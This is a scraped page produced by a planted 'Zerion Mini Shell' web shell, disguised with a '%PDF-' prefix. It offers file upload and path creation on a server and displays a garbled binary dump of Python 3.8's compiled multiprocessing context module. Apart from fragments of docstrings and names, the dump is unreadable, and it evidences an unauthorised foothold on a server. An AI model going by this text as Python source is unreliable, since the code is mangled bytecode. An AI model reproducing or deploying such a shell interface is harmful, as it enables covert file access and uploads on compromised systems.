%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/multiprocessing/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/multiprocessing/__pycache__/context.cpython-38.pyc

U

qa+@sddlZddlZddlZddlmZddlmZdZGdddeZGdd	d	eZ	Gd
ddeZ
Gdd
d
eZGdddeZ
GdddejZGddde
ZejdkrRGdddejZGdddejZGdddejZGddde
ZGddde
ZGdd d e
Zeeed!Zejd"krDeed#Zneed$Zn8Gd%ddejZGd&dde
Zd#eiZeed#Zd'd(ZeZd)d*Zd+d,Zd-d.ZdS)/N)process)	reductionc@seZdZdS)ProcessErrorN__name__
__module____qualname__rrr3/usr/local/lib/python3.8/multiprocessing/context.pyrsrc@seZdZdS)BufferTooShortNrrrrrrsrc@seZdZdS)TimeoutErrorNrrrrrr
sr
c@seZdZdS)AuthenticationErrorNrrrrrrsrc@sXeZdZeZeZeZeZeej	Z	eej
Z
eejZddZddZ
dCddZdd	Zd
dZdDd
dZdEddZdFddZddZdGddZdHddZdIddZddZdJd d!Zd"d#Zd$d%Zdd&d'd(Zdd&d)d*Zd+d,Zd-d.ZdKd/d0Z d1d2Z!d3d4Z"d5d6Z#dLd7d8Z$dMd:d;Z%dNd<d=Z&e'd>d?Z(e(j)d@d?Z(dAdBZ*dS)OBaseContextcCs"t}|dkrtdn|SdS)z(Returns the number of CPUs in the systemNzcannot determine number of cpus)os	cpu_countNotImplementedError)selfnumrrrr)s
zBaseContext.cpu_countcCs&ddlm}||d}||S)zReturns a manager associated with a running server process

        The managers methods such as `Lock()`, `Condition()` and `Queue()`
        can be used to create shared objects.
        r)SyncManagerctx)managersrget_contextstart)rrmrrrManager1szBaseContext.ManagerTcCsddlm}||S)z1Returns two connection object connected by a piper)Pipe)
connectionr)rduplexrrrrr<szBaseContext.PipecCsddlm}||dS)z#Returns a non-recursive lock objectr)Lockr)synchronizer r)rr rrrr AszBaseContext.LockcCsddlm}||dS)zReturns a recursive lock objectr)RLockr)r!r"r)rr"rrrr"FszBaseContext.RLockNcCsddlm}|||dS)zReturns a condition objectr)	Conditionr)r!r#r)rlockr#rrrr#KszBaseContext.ConditionrcCsddlm}|||dS)zReturns a semaphore objectr)	Semaphorer)r!r%r)rvaluer%rrrr%PszBaseContext.SemaphorecCsddlm}|||dS)z"Returns a bounded semaphore objectr)BoundedSemaphorer)r!r'r)rr&r'rrrr'UszBaseContext.BoundedSemaphorecCsddlm}||dS)zReturns an event objectr)Eventr)r!r(r)rr(rrrr(ZszBaseContext.EventcCs ddlm}|||||dS)zReturns a barrier objectr)Barrierr)r!r)r)rpartiesactiontimeoutr)rrrr)_szBaseContext.BarrierrcCsddlm}|||dS)Returns a queue objectr)Queuer)queuesr.r)rmaxsizer.rrrr.dszBaseContext.QueuecCsddlm}|||dS)r-r)
JoinableQueuer)r/r1r)rr0r1rrrr1iszBaseContext.JoinableQueuecCsddlm}||dS)r-r)SimpleQueuer)r/r2r)rr2rrrr2nszBaseContext.SimpleQueuercCs"ddlm}||||||dS)zReturns a process pool objectr)Pool)context)poolr3r)r	processesinitializerinitargsmaxtasksperchildr3rrrr3ss
zBaseContext.PoolcGsddlm}||f|S)zReturns a shared objectr)RawValue)sharedctypesr:)rtypecode_or_typeargsr:rrrr:zszBaseContext.RawValuecCsddlm}|||S)zReturns a shared arrayr)RawArray)r;r>)rr<size_or_initializerr>rrrr>szBaseContext.RawArray)r$cGs&ddlm}||f|||dS)z$Returns a synchronized shared objectr)Valuer$r)r;r@r)rr<r$r=r@rrrr@szBaseContext.ValuecCs ddlm}|||||dS)z#Returns a synchronized shared arrayr)ArrayrA)r;rBr)rr<r?r$rBrrrrBszBaseContext.ArraycCs,tjdkr(ttddr(ddlm}|dS)zCheck whether this is a fake forked process in a frozen executable.
        If so then run code specified by commandline and exit.
        win32frozenFr)freeze_supportN)sysplatformgetattrspawnrE)rrErrrrEszBaseContext.freeze_supportcCsddlm}|S)zZReturn package logger -- if it does not already exist then
        it is created.
        r)
get_logger)utilrJ)rrJrrrrJszBaseContext.get_loggercCsddlm}||S)z8Turn on logging and add a handler which prints to stderrr)
log_to_stderr)rKrL)rlevelrLrrrrLszBaseContext.log_to_stderrcCsddlm}dS)zVInstall support for sending connections and sockets
        between processes
        r)rN)r)rrrrrallow_connection_picklingsz%BaseContext.allow_connection_picklingcCsddlm}||dS)zSets the path to a python.exe or pythonw.exe binary used to run
        child processes instead of sys.executable when using the 'spawn'
        start method.  Useful for people embedding Python.
        r)set_executableN)rIrP)r
executablerPrrrrPszBaseContext.set_executablecCsddlm}||dS)zkSet list of module names to try to load in forkserver process.
        This is really just a hint.
        r)set_forkserver_preloadN)
forkserverrR)rmodule_namesrRrrrrRsz"BaseContext.set_forkserver_preloadcCsH|dkr|Szt|}Wn"tk
r:td|dYnX||S)Nzcannot find context for %r)_concrete_contextsKeyError
ValueError_check_available)rmethodrrrrrszBaseContext.get_contextFcCs|jSN)_namer
allow_nonerrrget_start_methodszBaseContext.get_start_methodcCstddS)Nz+cannot set start method of concrete context)rWrrYforcerrrset_start_methodszBaseContext.set_start_methodcCstdS)z_Controls how objects will be reduced to a form that can be
        shared with other processes.r)globalsgetrrrrreducerszBaseContext.reducercCs|td<dS)Nr)rb)rrrrrrescCsdSrZrrdrrrrXszBaseContext._check_available)T)N)r)r)NN)r)r)NNrN)N)N)F)F)+rr	r
rrr
rstaticmethodrcurrent_processparent_processactive_childrenrrrr r"r#r%r'r(r)r.r1r2r3r:r>r@rBrErJrLrOrPrRrr^rapropertyresetterrXrrrrrsR

















rc@seZdZdZeddZdS)ProcessNcCstj|SrZ)_default_contextrrl_Popen)process_objrrrrnszProcess._Popenrr	r

_start_methodrfrnrrrrrlsrlcsFeZdZeZddZd
fdd	ZdddZdd	d
ZddZZ	S)DefaultContextcCs||_d|_dSrZ)rm_actual_context)rr4rrr__init__szDefaultContext.__init__Ncs0|dkr |jdkr|j|_|jSt|SdSrZ)rsrmsuperr)rrY	__class__rrrs

zDefaultContext.get_contextFcCs<|jdk	r|std|dkr,|r,d|_dS|||_dS)Nzcontext has already been set)rsRuntimeErrorrr_rrrraszDefaultContext.set_start_methodcCs"|jdkr|rdS|j|_|jjSrZ)rsrmr[r\rrrr^s

zDefaultContext.get_start_methodcCsBtjdkrdgStjdkr"ddgnddg}tjr:|d|SdS)NrCrIdarwinforkrS)rFrGrHAVE_SEND_HANDLEappend)rmethodsrrrget_all_start_methodss

z$DefaultContext.get_all_start_methods)N)F)F)
rr	r
rlrtrrar^r~
__classcell__rrrvrrrs

rrrCc@seZdZdZeddZdS)ForkProcessrzcCsddlm}||SNr)Popen)
popen_forkrrorrrrrnszForkProcess._PopenNrprrrrrsrc@seZdZdZeddZdS)SpawnProcessrIcCsddlm}||Sr)popen_spawn_posixrrrrrrnsSpawnProcess._PopenNrprrrrrsrc@seZdZdZeddZdS)ForkServerProcessrScCsddlm}||Sr)popen_forkserverrrrrrrn szForkServerProcess._PopenNrprrrrrsrc@seZdZdZeZdS)ForkContextrzN)rr	r
r[rrlrrrrr%src@seZdZdZeZdSSpawnContextrINrr	r
r[rrlrrrrr)src@seZdZdZeZddZdS)ForkServerContextrScCstjstddS)Nz%forkserver start method not available)rr{rWrdrrrrX0sz"ForkServerContext._check_availableN)rr	r
r[rrlrXrrrrr-sr)rzrIrSryrIrzc@seZdZdZeddZdS)rrIcCsddlm}||Sr)Zpopen_spawn_win32rrrrrrnDsrNrprrrrrBsc@seZdZdZeZdSrrrrrrrIscCst|t_dSrZ)rUrmrs)rYrrr_force_start_methodVsrcCsttddS)Nspawning_popen)rH_tlsrrrrget_spawning_popen_srcCs
|t_dSrZ)rr)popenrrrset_spawning_popenbsrcCs tdkrtdt|jdS)NzF%s objects should only be shared between processes through inheritance)rrxtyper)objrrrassert_spawninges
r) rrF	threadingrNrr__all__	Exceptionrrr
robjectrBaseProcessrlrrrGrrrrrrrUrmrlocalrrrrrrrr<module>sL?,

Zerion Mini Shell 1.0